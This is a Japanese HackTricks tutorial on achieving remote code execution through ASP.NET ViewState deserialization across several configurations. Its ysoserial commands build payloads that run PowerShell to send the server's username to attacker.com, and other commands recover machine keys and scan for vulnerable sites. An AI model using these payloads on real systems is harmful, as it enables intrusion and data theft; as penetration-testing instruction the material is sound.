19 KiB
__VIEWSTATEパラメータを知らなくても悪用する
htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ こちら!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合はSUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksグッズを入手する
- The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける
- 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローする。
- HackTricksとHackTricks CloudのgithubリポジトリにPRを提出してハッキングトリックを共有する。
バグバウンティのヒント:ハッカーによって作成されたプレミアムバグバウンティプラットフォームであるIntigritiにサインアップしてください!今すぐhttps://go.intigriti.com/hacktricksに参加して、最大**$100,000**のバウンティを獲得し始めましょう!
{% embed url="https://go.intigriti.com/hacktricks" %}
ViewStateとは
ViewStateは、ASP.NETにおけるページとコントロールデータをウェブページ間で維持するためのデフォルトメカニズムとして機能します。ページのHTMLがレンダリングされる際、ページの現在の状態とポストバック中に保持する値は、base64でエンコードされた文字列にシリアライズされます。これらの文字列は、非表示のViewStateフィールドに配置されます。
ViewState情報は、次のプロパティまたはそれらの組み合わせによって特徴付けられます:
- Base64:
- この形式は、
EnableViewStateMac
およびViewStateEncryptionMode
属性がfalseに設定されている場合に使用されます。 - Base64 + MAC(Message Authentication Code)有効:
- MACの有効化は、
EnableViewStateMac
属性をtrueに設定することで達成されます。これにより、ViewStateデータの整合性検証が提供されます。 - Base64 + 暗号化:
- 暗号化は、
ViewStateEncryptionMode
属性がtrueに設定されている場合に適用され、ViewStateデータの機密性が確保されます。
テストケース
画像は、.NETフレームワークバージョンに基づいてASP.NETでのViewStateの異なる構成を詳細に示した表です。以下は、内容の要約です:
- .NETの任意のバージョンについて、MACと暗号化の両方が無効になっている場合、MachineKeyは必要なく、したがってそれを特定するための適用可能な方法はありません。
- 4.5未満のバージョンでは、MACが有効であっても暗号化が無効な場合、MachineKeyが必要です。MachineKeyを特定する方法は、「Blacklist3r」と呼ばれます。
- 4.5未満のバージョンでは、MACが有効であるかどうかに関係なく、暗号化が有効な場合、MachineKeyが必要です。MachineKeyの特定は、「Blacklist3r - Future Development」の課題です。
- 4.5以上のバージョンでは、MACと暗号化のすべての組み合わせ(両方がtrueであるか、1つがtrueで他がfalseであるか)にはMachineKeyが必要です。「Blacklist3r」を使用してMachineKeyを特定できます。
テストケース:1 – EnableViewStateMac=false および viewStateEncryptionMode=false
また、AspNetEnforceViewStateMac
レジストリキーをゼロに設定することで、ViewStateMACを完全に無効にすることも可能です。
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
ViewState属性の特定
BurpSuiteを使用して、このパラメータを含むリクエストをキャプチャして、ViewStateがMACで保護されているかどうかを特定できます。MACが使用されていない場合は、YSoSerial.Netを使用してそれを悪用することができます。
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
テストケース 1.5 – テストケース 1と同様だが、サーバーからViewStateクッキーが送信されない
開発者は、ViewStateをHTTPリクエストの一部にならないようにすることができます(ユーザーはこのクッキーを受け取らない)。
ViewStateが存在しない場合、ViewStateの逆シリアル化に起因する潜在的な脆弱性から実装が安全であると仮定するかもしれません。
しかし、それは事実ではありません。リクエストボディにViewStateパラメータを追加し、ysoserialを使用して作成したシリアル化ペイロードを送信すると、ケース1で示されているように、コード実行を達成することができます。
テストケース: 2 – .Net < 4.5 および EnableViewStateMac=true & ViewStateEncryptionMode=false
特定のページでViewState MACを有効にするには、特定のaspxファイルで以下の変更を行う必要があります:
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
web.configファイルに以下に示すように設定することで、全体的なアプリケーションに対しても行うことができます。
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>
攻撃を成功させるためには、まず使用されているキーを取得する必要があります。
Blacklist3r(AspDotNetWrapper.exe) を使用して、使用されているキーを見つけることができます。
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
Badsecretsは、既知のmachineKeysを特定できる別のツールです。Pythonで書かれているため、Blacklist3rとは異なり、Windowsに依存しません。.NETのviewstatesに対しては、「python blacklist3r」というユーティリティがあり、これが最も簡単な使用方法です。
ビューステートとジェネレータを直接指定することもできます:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
または、対象のURLに直接接続し、HTMLからviewstateを取り出そうとすることができます。
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
大規模で脆弱なviewstatesを検索するために、サブドメインの列挙と組み合わせて、badsecrets
BBOT モジュールを使用できます:
bbot -f subdomain-enum -m badsecrets -t evil.corp
運が良ければ、キーが見つかった場合は、YSoSerial.Net: を使用して攻撃を続行できます。
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
場合によっては、サーバーから _VIEWSTATEGENERATOR
パラメータが送信されない場合、--generator
パラメータを指定する必要はありませんが、次のパラメータが必要です:
--apppath="/" --path="/hello.aspx"
テストケース: 3 – .Net < 4.5 および EnableViewStateMac=true/false および ViewStateEncryptionMode=true
この場合、パラメータがMACで保護されているかどうかはわかりません。そのため、値はおそらく暗号化されており、脆弱性を悪用するためにマシンキーが必要です。
この場合、 Blacklist3r モジュールが開発中です...
.NET 4.5より前、ASP.NETは、ViewStateEncryptionMode
が Always に設定されていても、ユーザーからの___VIEWSTATE
_パラメータを暗号化されていない状態で受け入れることができます。ASP.NETは、リクエスト内の __VIEWSTATEENCRYPTED
パラメータの存在のみを確認します。このパラメータを削除し、暗号化されていないペイロードを送信すると、それでも処理されます。
したがって、攻撃者がファイルトラバーサルなどの他の脆弱性を介してマシンキーを取得する方法を見つけると、Case 2 で使用された YSoSerial.Net コマンドを使用して、ViewState逆シリアル化の脆弱性を利用してRCEを実行できます。
- ViewState逆シリアル化の脆弱性を悪用するには、リクエストから
__VIEWSTATEENCRYPTED
パラメータを削除します。そうしないと、Viewstate MAC検証エラーが返され、脆弱性を悪用できません。
テストケース: 4 – .Net >= 4.5 および EnableViewStateMac=true/false および ViewStateEncryptionMode=true/false ただし、両方の属性がfalseに設定されている場合
以下に示すように、web.configファイル内で以下のパラメータを指定することで、ASP.NETフレームワークの使用を強制できます。
<httpRuntime targetFramework="4.5" />
代わりに、次のオプションをweb.configファイルのmachineKey
パラメータ内に指定することで行うことができます。
compatibilityMode="Framework45"
前述の通り、値は暗号化されています。 そのため、有効なペイロードを送信するには、攻撃者が鍵が必要です。
Blacklist3r(AspDotNetWrapper.exe) を使用して、使用されている鍵を見つけることができます。
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
IISDirPathとTargetPagePathの詳細な説明については、こちらを参照してください。
または、Badsecrets(ジェネレータ値を使用):
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
有効なマシンキーが特定されたら、次のステップはYSoSerial.Netを使用してシリアライズされたペイロードを生成することです
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
もし__VIEWSTATEGENERATOR
の値を持っている場合、その値を使用して--generator
パラメータを使用し、パラメータ--path
と--apppath
を省略することができます。
ViewState逆シリアル化の脆弱性を成功裏に悪用すると、ユーザー名を含む攻撃者が制御するサーバーに対してアウト・オブ・バンド・リクエストが送信されます。この種のエクスプロイトは、「Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET」というリソースを通じて見つけることができるプルーフ・オブ・コンセプト(PoC)で示されています。エクスプロイトプロセスの動作方法や、MachineKeyを特定するためにBlacklist3rなどのツールをどのように利用するかの詳細については、提供された成功したエクスプロイトのPoCを参照してください。
テストケース6 – ViewStateUserKeysが使用されている
ViewStateUserKeyプロパティはCSRF攻撃に対抗するために使用できます。アプリケーションでこのようなキーが定義されている場合、これまでに議論された方法でViewStateペイロードを生成しようとすると、アプリケーションによってペイロードが処理されないでしょう。
正しくペイロードを作成するためには、もう1つのパラメータを使用する必要があります:
--viewstateuserkey="randomstringdefinedintheserver"
成功した攻撃の結果
すべてのテストケースにおいて、ViewState YSoSerial.Net ペイロードが成功した場合、サーバーは「500 Internal server error」という応答を返し、「The state information is invalid for this page and might be corrupted」という応答コンテンツが表示され、OOBリクエストを取得します。
詳細はこちら
参考文献
- https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/
- https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817
- https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
- https://blog.blacklanternsecurity.com/p/introducing-badsecrets
バグバウンティのヒント: Intigritiにサインアップしてください。これは、ハッカーによって作成されたプレミアムバグバウンティプラットフォームです!https://go.intigriti.com/hacktricks で今すぐ参加し、最大**$100,000**のバウンティを獲得しましょう!
{% embed url="https://go.intigriti.com/hacktricks" %}
**htARTE (HackTricks AWS Red Team Expert)**でAWSハッキングをゼロからヒーローまで学びましょう!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したい場合やHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksグッズを入手してください
- The PEASS Familyを発見し、独占的なNFTsコレクションを見つけてください
- 💬 Discordグループやtelegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローしてください。
- HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。